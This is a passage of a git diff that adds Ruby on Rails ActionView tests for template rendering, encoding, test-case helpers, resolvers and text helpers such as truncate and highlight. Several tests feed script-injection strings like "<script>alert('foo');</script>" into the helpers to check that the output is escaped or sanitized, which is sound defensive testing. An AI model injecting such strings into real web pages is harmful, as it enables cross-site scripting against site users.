+      "l'apostrophe"
+    end
+
+    def partial
+      ActionView::Template.new(
+        "<%= @virtual_path %>",
+        "partial",
+        ERBHandler,
+        virtual_path: "partial"
+      )
+    end
+
+    def lookup_context
+      @lookup_context ||= LookupContext.new
+    end
+
+    def logger
+      ActiveSupport::Logger.new(STDERR)
+    end
+
+    def my_buffer
+      @output_buffer
+    end
+  end
+
+  def new_template(body = "<%= hello %>", details = { format: :html })
+    ActionView::Template.new(body.dup, "hello template", details.fetch(:handler) { ERBHandler }, { virtual_path: "hello" }.merge!(details))
+  end
+
+  def render(locals = {})
+    @template.render(@context, locals)
+  end
+
+  def setup
+    @context = Context.new
+  end
+
+  def test_basic_template
+    @template = new_template
+    assert_equal "Hello", render
+  end
+
+  def test_basic_template_does_html_escape
+    @template = new_template("<%= apostrophe %>")
+    assert_equal "l&#39;apostrophe", render
+  end
+
+  def test_text_template_does_not_html_escape
+    @template = new_template("<%= apostrophe %> <%== apostrophe %>", format: :text)
+    assert_equal "l'apostrophe l'apostrophe", render
+  end
+
+  def test_raw_template
+    @template = new_template("<%= hello %>", handler: ActionView::Template::Handlers::Raw.new)
+    assert_equal "<%= hello %>", render
+  end
+
+  def test_template_loses_its_source_after_rendering
+    @template = new_template
+    render
+    assert_nil @template.source
+  end
+
+  def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a_virtual_path
+    @template = new_template("Hello", virtual_path: nil)
+    render
+    assert_equal "Hello", @template.source
+  end
+
+  def test_locals
+    @template = new_template("<%= my_local %>")
+    @template.locals = [:my_local]
+    assert_equal "I am a local", render(my_local: "I am a local")
+  end
+
+  def test_restores_buffer
+    @template = new_template
+    assert_equal "Hello", render
+    assert_equal "original", @context.my_buffer
+  end
+
+  def test_virtual_path
+    @template = new_template("<%= @virtual_path %>" \
+                             "<%= partial.render(self, {}) %>" \
+                             "<%= @virtual_path %>")
+    assert_equal "hellopartialhello", render
+  end
+
+  def test_refresh_with_templates
+    @template = new_template("Hello", virtual_path: "test/foo/bar")
+    @template.locals = [:key]
+    assert_called_with(@context.lookup_context, :find_template, ["bar", %w(test/foo), false, [:key]], returns: "template") do
+      assert_equal "template", @template.refresh(@context)
+    end
+  end
+
+  def test_refresh_with_partials
+    @template = new_template("Hello", virtual_path: "test/_foo")
+    @template.locals = [:key]
+    assert_called_with(@context.lookup_context, :find_template, ["foo", %w(test), true, [:key]], returns: "partial") do
+      assert_equal "partial", @template.refresh(@context)
+    end
+  end
+
+  def test_refresh_raises_an_error_without_virtual_path
+    @template = new_template("Hello", virtual_path: nil)
+    assert_raise RuntimeError do
+      @template.refresh(@context)
+    end
+  end
+
+  def test_resulting_string_is_utf8
+    @template = new_template
+    assert_equal Encoding::UTF_8, render.encoding
+  end
+
+  def test_no_magic_comment_word_with_utf_8
+    @template = new_template("hello \u{fc}mlat")
+    assert_equal Encoding::UTF_8, render.encoding
+    assert_equal "hello \u{fc}mlat", render
+  end
+
+  # This test ensures that if the default_external
+  # is set to something other than UTF-8, we don't
+  # get any errors and get back a UTF-8 String.
+  def test_default_external_works
+    with_external_encoding "ISO-8859-1" do
+      @template = new_template("hello \xFCmlat")
+      assert_equal Encoding::UTF_8, render.encoding
+      assert_equal "hello \u{fc}mlat", render
+    end
+  end
+
+  def test_encoding_can_be_specified_with_magic_comment
+    @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
+    assert_equal Encoding::UTF_8, render.encoding
+    assert_equal "\nhello \u{fc}mlat", render
+  end
+
+  # TODO: This is currently handled inside ERB. The case of explicitly
+  # lying about encodings via the normal Rails API should be handled
+  # inside Rails.
+  def test_lying_with_magic_comment
+    assert_raises(ActionView::Template::Error) do
+      @template = new_template("# encoding: UTF-8\nhello \xFCmlat", virtual_path: nil)
+      render
+    end
+  end
+
+  def test_encoding_can_be_specified_with_magic_comment_in_erb
+    with_external_encoding Encoding::UTF_8 do
+      @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", virtual_path: nil)
+      assert_equal Encoding::UTF_8, render.encoding
+      assert_equal "hello \u{fc}mlat", render
+    end
+  end
+
+  def test_error_when_template_isnt_valid_utf8
+    e = assert_raises ActionView::Template::Error do
+      @template = new_template("hello \xFCmlat", virtual_path: nil)
+      render
+    end
+    # Hack: We write the regexp this way because the parser of RuboCop
+    # errs with /\xFC/.
+    assert_match(Regexp.new("\xFC"), e.message)
+  end
+
+  def with_external_encoding(encoding)
+    old = Encoding.default_external
+    Encoding::Converter.new old, encoding if old != encoding
+    silence_warnings { Encoding.default_external = encoding }
+    yield
+  ensure
+    silence_warnings { Encoding.default_external = old }
+  end
+end
diff --git a/actionview/test/template/test_case_test.rb b/actionview/test/template/test_case_test.rb
new file mode 100644
index 0000000000..05e5f21ce4
--- /dev/null
+++ b/actionview/test/template/test_case_test.rb
@@ -0,0 +1,335 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "rails/engine"
+
+module ActionView
+  module ATestHelper
+  end
+
+  module AnotherTestHelper
+    def from_another_helper
+      "Howdy!"
+    end
+  end
+
+  module ASharedTestHelper
+    def from_shared_helper
+      "Holla!"
+    end
+  end
+
+  class TestCase
+    helper ASharedTestHelper
+    DeveloperStruct = Struct.new(:name)
+
+    module SharedTests
+      def self.included(test_case)
+        test_case.class_eval do
+          test "helpers defined on ActionView::TestCase are available" do
+            assert_includes test_case.ancestors, ASharedTestHelper
+            assert_equal "Holla!", from_shared_helper
+          end
+        end
+      end
+    end
+  end
+
+  class GeneralViewTest < ActionView::TestCase
+    include SharedTests
+    test_case = self
+
+    test "memoizes the view" do
+      assert_same view, view
+    end
+
+    test "exposes params" do
+      assert params.is_a? ActionController::Parameters
+    end
+
+    test "exposes view as _view for backwards compatibility" do
+      assert_same _view, view
+    end
+
+    test "retrieve non existing config values" do
+      assert_nil ActionView::Base.new.config.something_odd
+    end
+
+    test "works without testing a helper module" do
+      assert_equal "Eloy", render("developers/developer", developer: DeveloperStruct.new("Eloy"))
+    end
+
+    test "can render a layout with block" do
+      assert_equal "Before (ChrisCruft)\n!\nAfter",
+                    render(layout: "test/layout_for_partial", locals: { name: "ChrisCruft" }) { "!" }
+    end
+
+    helper AnotherTestHelper
+    test "additional helper classes can be specified as in a controller" do
+      assert_includes test_case.ancestors, AnotherTestHelper
+      assert_equal "Howdy!", from_another_helper
+    end
+
+    test "determine_default_helper_class returns nil if the test name constant resolves to a class" do
+      assert_nil self.class.determine_default_helper_class("String")
+    end
+
+    test "delegates notice to request.flash[:notice]" do
+      assert_called_with(view.request.flash, :[], [:notice]) do
+        view.notice
+      end
+    end
+
+    test "delegates alert to request.flash[:alert]" do
+      assert_called_with(view.request.flash, :[], [:alert]) do
+        view.alert
+      end
+    end
+
+    test "uses controller lookup context" do
+      assert_equal lookup_context, @controller.lookup_context
+    end
+  end
+
+  class ClassMethodsTest < ActionView::TestCase
+    include SharedTests
+    test_case = self
+
+    tests ATestHelper
+    test "tests the specified helper module" do
+      assert_equal ATestHelper, test_case.helper_class
+      assert_includes test_case.ancestors, ATestHelper
+    end
+
+    helper AnotherTestHelper
+    test "additional helper classes can be specified as in a controller" do
+      assert_includes test_case.ancestors, AnotherTestHelper
+      assert_equal "Howdy!", from_another_helper
+
+      test_case.helper_class.module_eval do
+        def render_from_helper
+          from_another_helper
+        end
+      end
+      assert_equal "Howdy!", render(partial: "test/from_helper")
+    end
+  end
+
+  class HelperInclusionTest < ActionView::TestCase
+    module RenderHelper
+      def render_from_helper
+        render partial: "customer", collection: @customers
+      end
+    end
+
+    helper RenderHelper
+
+    test "helper class that is being tested is always included in view instance" do
+      @controller.controller_path = "test"
+
+      @customers = [DeveloperStruct.new("Eloy"), DeveloperStruct.new("Manfred")]
+      assert_match(/Hello: EloyHello: Manfred/, render(partial: "test/from_helper"))
+    end
+  end
+
+  class ControllerHelperMethod < ActionView::TestCase
+    module SomeHelper
+      def some_method
+        render partial: "test/from_helper"
+      end
+    end
+
+    helper SomeHelper
+
+    test "can call a helper method defined on the current controller from a helper" do
+      @controller.singleton_class.class_eval <<-EOF, __FILE__, __LINE__ + 1
+        def render_from_helper
+          'controller_helper_method'
+        end
+      EOF
+      @controller.class.helper_method :render_from_helper
+
+      assert_equal "controller_helper_method", some_method
+    end
+  end
+
+  class ViewAssignsTest < ActionView::TestCase
+    test "view_assigns returns a Hash of user defined ivars" do
+      @a = "b"
+      @c = "d"
+      assert_equal({ a: "b", c: "d" }, view_assigns)
+    end
+
+    test "view_assigns excludes internal ivars" do
+      INTERNAL_IVARS.each do |ivar|
+        assert defined?(ivar), "expected #{ivar} to be defined"
+        assert_not_includes view_assigns.keys, ivar.to_s.tr("@", "").to_sym, "expected #{ivar} to be excluded from view_assigns"
+      end
+    end
+  end
+
+  class HelperExposureTest < ActionView::TestCase
+    helper(Module.new do
+      def render_from_helper
+        from_test_case
+      end
+    end)
+    test "is able to make methods available to the view" do
+      assert_equal "Word!", render(partial: "test/from_helper")
+    end
+
+    def from_test_case; "Word!"; end
+    helper_method :from_test_case
+  end
+
+  class IgnoreProtectAgainstForgeryTest < ActionView::TestCase
+    module HelperThatInvokesProtectAgainstForgery
+      def help_me
+        protect_against_forgery?
+      end
+    end
+
+    helper HelperThatInvokesProtectAgainstForgery
+
+    test "protect_from_forgery? in any helpers returns false" do
+      assert !view.help_me
+    end
+  end
+
+  class ATestHelperTest < ActionView::TestCase
+    include SharedTests
+    test_case = self
+
+    test "inflects the name of the helper module to test from the test case class" do
+      assert_equal ATestHelper, test_case.helper_class
+      assert_includes test_case.ancestors, ATestHelper
+    end
+
+    test "a configured test controller is available" do
+      assert_kind_of ActionController::Base, controller
+      assert_equal "", controller.controller_path
+    end
+
+    test "no additional helpers should shared across test cases" do
+      assert_not_includes test_case.ancestors, AnotherTestHelper
+      assert_raise(NoMethodError) { send :from_another_helper }
+    end
+
+    test "is able to use routes" do
+      controller.request.assign_parameters(@routes, "foo", "index", {}, "/foo", [])
+      assert_equal "/foo", url_for
+      assert_equal "/bar", url_for(controller: "bar")
+    end
+
+    test "is able to use named routes" do
+      with_routing do |set|
+        set.draw { resources :contents }
+        assert_equal "http://test.host/contents/new", new_content_url
+        assert_equal "http://test.host/contents/1",   content_url(id: 1)
+      end
+    end
+
+    test "is able to use mounted routes" do
+      with_routing do |set|
+        app = Class.new(Rails::Engine) do
+          def self.routes
+            @routes ||= ActionDispatch::Routing::RouteSet.new
+          end
+
+          routes.draw { get "bar", to: lambda {} }
+
+          def self.call(*)
+          end
+        end
+
+        set.draw { mount app => "/foo", :as => "foo_app" }
+
+        assert_equal "/foo/bar", foo_app.bar_path
+      end
+    end
+
+    test "named routes can be used from helper included in view" do
+      with_routing do |set|
+        set.draw { resources :contents }
+        _helpers.module_eval do
+          def render_from_helper
+            new_content_url
+          end
+        end
+
+        assert_equal "http://test.host/contents/new", render(partial: "test/from_helper")
+      end
+    end
+
+    test "is able to render partials with local variables" do
+      assert_equal "Eloy", render("developers/developer", developer: DeveloperStruct.new("Eloy"))
+      assert_equal "Eloy", render(partial: "developers/developer",
+                                  locals: { developer: DeveloperStruct.new("Eloy") })
+    end
+
+    test "is able to render partials from templates and also use instance variables" do
+      @controller.controller_path = "test"
+
+      @customers = [DeveloperStruct.new("Eloy"), DeveloperStruct.new("Manfred")]
+      assert_match(/Hello: EloyHello: Manfred/, render(file: "test/list"))
+    end
+
+    test "is able to render partials from templates and also use instance variables after view has been referenced" do
+      @controller.controller_path = "test"
+
+      view
+
+      @customers = [DeveloperStruct.new("Eloy"), DeveloperStruct.new("Manfred")]
+      assert_match(/Hello: EloyHello: Manfred/, render(file: "test/list"))
+    end
+
+    test "is able to use helpers that depend on the view flow" do
+      assert_not content_for?(:foo)
+
+      content_for :foo, "bar"
+      assert content_for?(:foo)
+      assert_equal "bar", content_for(:foo)
+    end
+  end
+
+  class AssertionsTest < ActionView::TestCase
+    def render_from_helper
+      form_tag("/foo") do
+        safe_concat render(plain: "<ul><li>foo</li></ul>")
+      end
+    end
+    helper_method :render_from_helper
+
+    test "uses the output_buffer for assert_select" do
+      render(partial: "test/from_helper")
+
+      assert_select "form" do
+        assert_select "li", text: "foo"
+      end
+    end
+
+    test "do not memoize the document_root_element in view tests" do
+      concat form_tag("/foo")
+
+      assert_select "form"
+
+      concat content_tag(:b, "Strong", class: "foo")
+
+      assert_select "form"
+      assert_select "b.foo"
+    end
+  end
+
+  module AHelperWithInitialize
+    def initialize(*)
+      super
+      @called_initialize = true
+    end
+  end
+
+  class AHelperWithInitializeTest < ActionView::TestCase
+    test "the helper's initialize was actually called" do
+      assert @called_initialize
+    end
+  end
+end
diff --git a/actionview/test/template/test_test.rb b/actionview/test/template/test_test.rb
new file mode 100644
index 0000000000..78ba536dfc
--- /dev/null
+++ b/actionview/test/template/test_test.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module PeopleHelper
+  def title(text)
+    content_tag(:h1, text)
+  end
+
+  def homepage_path
+    people_path
+  end
+
+  def homepage_url
+    people_url
+  end
+
+  def link_to_person(person)
+    link_to person.name, person
+  end
+end
+
+class PeopleHelperTest < ActionView::TestCase
+  def test_title
+    assert_equal "<h1>Ruby on Rails</h1>", title("Ruby on Rails")
+  end
+
+  def test_homepage_path
+    with_test_route_set do
+      assert_equal "/people", homepage_path
+    end
+  end
+
+  def test_homepage_url
+    with_test_route_set do
+      assert_equal "http://test.host/people", homepage_url
+    end
+  end
+
+  def test_link_to_person
+    with_test_route_set do
+      person = Struct.new(:name) {
+        extend ActiveModel::Naming
+        def to_model; self; end
+        def persisted?; true; end
+        def self.name; "Minitest::Mock"; end
+      }.new "David"
+
+      the_model = nil
+      extend Module.new {
+        define_method(:minitest_mock_path) { |model, *args|
+          the_model = model
+          "/people/1"
+        }
+      }
+      assert_equal '<a href="/people/1">David</a>', link_to_person(person)
+      assert_equal person, the_model
+    end
+  end
+
+  private
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          get "people", to: "people#index", as: :people
+        end
+        yield
+      end
+    end
+end
+
+class CrazyHelperTest < ActionView::TestCase
+  tests PeopleHelper
+
+  def test_helper_class_can_be_set_manually_not_just_inferred
+    assert_equal PeopleHelper, self.class.helper_class
+  end
+end
+
+class CrazySymbolHelperTest < ActionView::TestCase
+  tests :people
+
+  def test_set_helper_class_using_symbol
+    assert_equal PeopleHelper, self.class.helper_class
+  end
+end
+
+class CrazyStringHelperTest < ActionView::TestCase
+  tests "people"
+
+  def test_set_helper_class_using_string
+    assert_equal PeopleHelper, self.class.helper_class
+  end
+end
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
new file mode 100644
index 0000000000..9954e3500d
--- /dev/null
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class FixtureResolverTest < ActiveSupport::TestCase
+  def test_should_return_empty_list_for_unknown_path
+    resolver = ActionView::FixtureResolver.new()
+    templates = resolver.find_all("path", "arbitrary", false, locale: [], formats: [:html], variants: [], handlers: [])
+    assert_equal [], templates, "expected an empty list of templates"
+  end
+
+  def test_should_return_template_for_declared_path
+    resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
+    templates = resolver.find_all("path", "arbitrary", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
+    assert_equal 1, templates.size, "expected one template"
+    assert_equal "this text",      templates.first.source
+    assert_equal "arbitrary/path", templates.first.virtual_path
+    assert_equal [:html],          templates.first.formats
+  end
+end
diff --git a/actionview/test/template/testing/null_resolver_test.rb b/actionview/test/template/testing/null_resolver_test.rb
new file mode 100644
index 0000000000..53364c1d90
--- /dev/null
+++ b/actionview/test/template/testing/null_resolver_test.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class NullResolverTest < ActiveSupport::TestCase
+  def test_should_return_template_for_any_path
+    resolver = ActionView::NullResolver.new()
+    templates = resolver.find_all("path.erb", "arbitrary", false, locale: [], formats: [:html], handlers: [])
+    assert_equal 1, templates.size, "expected one template"
+    assert_equal "Template generated by Null Resolver", templates.first.source
+    assert_equal "arbitrary/path.erb", templates.first.virtual_path.to_s
+    assert_equal [:html],          templates.first.formats
+  end
+end
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
new file mode 100644
index 0000000000..adb923d93b
--- /dev/null
+++ b/actionview/test/template/text_helper_test.rb
@@ -0,0 +1,535 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TextHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::TextHelper
+
+  def setup
+    super
+    # This simulates the fact that instance variables are reset every time
+    # a view is rendered.  The cycle helper depends on this behavior.
+    @_cycles = nil if (defined? @_cycles)
+  end
+
+  def test_concat
+    self.output_buffer = "foo".dup
+    assert_equal "foobar", concat("bar")
+    assert_equal "foobar", output_buffer
+  end
+
+  def test_simple_format_should_be_html_safe
+    assert simple_format("<b> test with html tags </b>").html_safe?
+  end
+
+  def test_simple_format_included_in_isolation
+    helper_klass = Class.new { include ActionView::Helpers::TextHelper }
+    assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+  end
+
+  def test_simple_format
+    assert_equal "<p></p>", simple_format(nil)
+
+    assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
+    assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
+    assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
+
+    text = "A\nB\nC\nD".freeze
+    assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
+
+    text = "A\r\n  \nB\n\n\r\n\t\nC\nD".freeze
+    assert_equal "<p>A\n<br />  \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
+
+    assert_equal '<p class="test">This is a classy test</p>', simple_format("This is a classy test", class: "test")
+    assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", class: "test")
+  end
+
+  def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false
+    assert_equal "<p><b> test with unsafe string </b>code!</p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
+  end
+
+  def test_simple_format_should_sanitize_input_when_sanitize_option_is_true
+    assert_equal "<p><b> test with unsafe string </b>code!</p>",
+      simple_format("<b> test with unsafe string </b><script>code!</script>", {}, sanitize: true)
+  end
+
+  def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
+    assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, sanitize: false)
+  end
+
+  def test_simple_format_with_custom_wrapper
+    assert_equal "<div></div>", simple_format(nil, {}, wrapper_tag: "div")
+  end
+
+  def test_simple_format_with_custom_wrapper_and_multi_line_breaks
+    assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, wrapper_tag: "div")
+  end
+
+  def test_simple_format_should_not_change_the_text_passed
+    text = "<b>Ok</b><script>code!</script>"
+    text_clone = text.dup
+    simple_format(text)
+    assert_equal text_clone, text
+  end
+
+  def test_simple_format_does_not_modify_the_html_options_hash
+    options = { class: "foobar" }
+    passed_options = options.dup
+    simple_format("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_simple_format_does_not_modify_the_options_hash
+    options = { wrapper_tag: :div, sanitize: false }
+    passed_options = options.dup
+    simple_format("some text", {}, passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_truncate
+    assert_equal "Hello World!", truncate("Hello World!", length: 12)
+    assert_equal "Hello Wor...", truncate("Hello World!!", length: 12)
+  end
+
+  def test_truncate_should_use_default_length_of_30
+    str = "This is a string that will go longer then the default truncate length of 30"
+    assert_equal str[0...27] + "...", truncate(str)
+  end
+
+  def test_truncate_with_options_hash
+    assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", omission: "[...]")
+    assert_equal "Hello W...", truncate("Hello World!", length: 10)
+    assert_equal "Hello[...]", truncate("Hello World!", omission: "[...]", length: 10)
+    assert_equal "Hello[...]", truncate("Hello Big World!", omission: "[...]", length: 13, separator: " ")
+    assert_equal "Hello Big[...]", truncate("Hello Big World!", omission: "[...]", length: 14, separator: " ")
+    assert_equal "Hello Big[...]", truncate("Hello Big World!", omission: "[...]", length: 15, separator: " ")
+  end
+
+  def test_truncate_multibyte
+    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".dup.force_encoding(Encoding::UTF_8),
+      truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".dup.force_encoding(Encoding::UTF_8), length: 10)
+  end
+
+  def test_truncate_does_not_modify_the_options_hash
+    options = { length: 10 }
+    passed_options = options.dup
+    truncate("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_truncate_with_link_options
+    assert_equal "Here is a long test and ...<a href=\"#\">Continue</a>",
+    truncate("Here is a long test and I need a continue to read link", length: 27) { link_to "Continue", "#" }
+  end
+
+  def test_truncate_should_be_html_safe
+    assert truncate("Hello World!", length: 12).html_safe?
+  end
+
+  def test_truncate_should_escape_the_input
+    assert_equal "Hello &lt;sc...", truncate("Hello <script>code!</script>World!!", length: 12)
+  end
+
+  def test_truncate_should_not_escape_the_input_with_escape_false
+    assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", length: 12, escape: false)
+  end
+
+  def test_truncate_with_escape_false_should_be_html_safe
+    truncated = truncate("Hello <script>code!</script>World!!", length: 12, escape: false)
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_be_html_safe
+    truncated = truncate("Here's a long test and I need a continue to read link", length: 27) { link_to "Continue", "#" }
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_escape_the_input
+    assert_equal "&lt;script&gt;code!&lt;/script&gt;He...<a href=\"#\">Continue</a>",
+      truncate("<script>code!</script>Here's a long test and I need a continue to read link", length: 27) { link_to "Continue", "#" }
+  end
+
+  def test_truncate_with_block_should_not_escape_the_input_with_escape_false
+    assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
+      truncate("<script>code!</script>Here's a long test and I need a continue to read link", length: 27, escape: false) { link_to "Continue", "#" }
+  end
+
+  def test_truncate_with_block_with_escape_false_should_be_html_safe
+    truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", length: 27, escape: false) { link_to "Continue", "#" }
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_escape_the_block
+    assert_equal "Here is a long test and ...&lt;script&gt;alert(&#39;foo&#39;);&lt;/script&gt;",
+      truncate("Here is a long test and I need a continue to read link", length: 27) { "<script>alert('foo');</script>" }
+  end
+
+  def test_highlight_should_be_html_safe
+    assert highlight("This is a beautiful morning", "beautiful").html_safe?
+  end
+
+  def test_highlight
+    assert_equal(
+      "This is a <mark>beautiful</mark> morning",
+      highlight("This is a beautiful morning", "beautiful")
+    )
+
+    assert_equal(
+      "This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day",
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
+    )
+
+    assert_equal(
+      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", highlighter: '<b>\1</b>')
+    )
+
+    assert_equal(
+      "This text is not changed because we supplied an empty phrase",
+      highlight("This text is not changed because we supplied an empty phrase", nil)
+    )
+  end
+
+  def test_highlight_pending
+    assert_equal "   ", highlight("   ", "blank text is returned verbatim")
+  end
+
+  def test_highlight_should_return_blank_string_for_nil
+    assert_equal "", highlight(nil, "blank string is returned for nil")
+  end
+
+  def test_highlight_should_sanitize_input
+    assert_equal(
+      "This is a <mark>beautiful</mark> morningcode!",
+      highlight("This is a beautiful morning<script>code!</script>", "beautiful")
+    )
+  end
+
+  def test_highlight_should_not_sanitize_if_sanitize_option_if_false
+    assert_equal(
+      "This is a <mark>beautiful</mark> morning<script>code!</script>",
+      highlight("This is a beautiful morning<script>code!</script>", "beautiful", sanitize: false)
+    )
+  end
+
+  def test_highlight_with_regexp
+    assert_equal(
+      "This is a <mark>beautiful!</mark> morning",
+      highlight("This is a beautiful! morning", "beautiful!")
+    )
+
+    assert_equal(
+      "This is a <mark>beautiful! morning</mark>",
+      highlight("This is a beautiful! morning", "beautiful! morning")
+    )
+
+    assert_equal(
+      "This is a <mark>beautiful? morning</mark>",
+      highlight("This is a beautiful? morning", "beautiful? morning")
+    )
+  end
+
+  def test_highlight_accepts_regexp
+    assert_equal("This day was challenging for judge <mark>Allen</mark> and his colleagues.",
+                 highlight("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i))
+  end
+
+  def test_highlight_with_multiple_phrases_in_one_pass
+    assert_equal %(<em>wow</em> <em>em</em>), highlight("wow em", %w(wow em), highlighter: '<em>\1</em>')
+  end
+
+  def test_highlight_with_html
+    assert_equal(
+      "<p>This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <em><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <em class=\"error\"><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> <span class=\"last\">day</span></p>",
+      highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
+    )
+    assert_equal(
+      "<p class=\"beautiful\">This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <mark>beautiful</mark> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&amp;when=now+then\">morning</a>, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<div>abc <b>div</b></div>",
+      highlight("<div>abc div</div>", "div", highlighter: '<b>\1</b>')
+    )
+  end
+
+  def test_highlight_does_not_modify_the_options_hash
+    options = { highlighter: '<b>\1</b>', sanitize: false }
+    passed_options = options.dup
+    highlight("<div>abc div</div>", "div", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_highlight_with_block
+    assert_equal(
+      "<b>one</b> <b>two</b> <b>three</b>",
+      highlight("one two three", ["one", "two", "three"]) { |word| "<b>#{word}</b>" }
+    )
+  end
+
+  def test_excerpt
+    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", radius: 5))
+    assert_equal("This is a...", excerpt("This is a beautiful morning", "this", radius: 5))
+    assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", radius: 5))
+    assert_nil excerpt("This is a beautiful morning", "day")
+  end
+
+  def test_excerpt_with_regex
+    assert_equal("...is a beautiful! mor...", excerpt("This is a beautiful! morning", "beautiful", radius: 5))
+    assert_equal("...is a beautiful? mor...", excerpt("This is a beautiful? morning", "beautiful", radius: 5))
+    assert_equal("...is a beautiful? mor...", excerpt("This is a beautiful? morning", /\bbeau\w*\b/i, radius: 5))
+    assert_equal("...is a beautiful? mor...", excerpt("This is a beautiful? morning", /\b(beau\w*)\b/i, radius: 5))
+    assert_equal("...udge Allen and...", excerpt("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i, radius: 5))
+    assert_equal("...judge Allen and...", excerpt("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i, radius: 1, separator: " "))
+    assert_equal("...was challenging for...", excerpt("This day was challenging for judge Allen and his colleagues.", /\b(\w*allen\w*)\b/i, radius: 5))
+  end
+
+  def test_excerpt_should_not_be_html_safe
+    assert !excerpt("This is a beautiful! morning", "beautiful", radius: 5).html_safe?
+  end
+
+  def test_excerpt_in_borderline_cases
+    assert_equal("", excerpt("", "", radius: 0))
+    assert_equal("a", excerpt("a", "a", radius: 0))
+    assert_equal("...b...", excerpt("abc", "b", radius: 0))
+    assert_equal("abc", excerpt("abc", "b", radius: 1))
+    assert_equal("abc...", excerpt("abcd", "b", radius: 1))
+    assert_equal("...abc", excerpt("zabc", "b", radius: 1))
+    assert_equal("...abc...", excerpt("zabcd", "b", radius: 1))
+    assert_equal("zabcd", excerpt("zabcd", "b", radius: 2))
+
+    # excerpt strips the resulting string before ap-/prepending excerpt_string.
+    # whether this behavior is meaningful when excerpt_string is not to be
+    # appended is questionable.
+    assert_equal("zabcd", excerpt("  zabcd  ", "b", radius: 4))
+    assert_equal("...abc...", excerpt("z  abc  d", "b", radius: 1))
+  end
+
+  def test_excerpt_with_omission
+    assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", omission: "[...]", radius: 5))
+    assert_equal(
+      "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
+      excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
+      omission: "[...]")
+    )
+  end
+
+  def test_excerpt_with_utf8
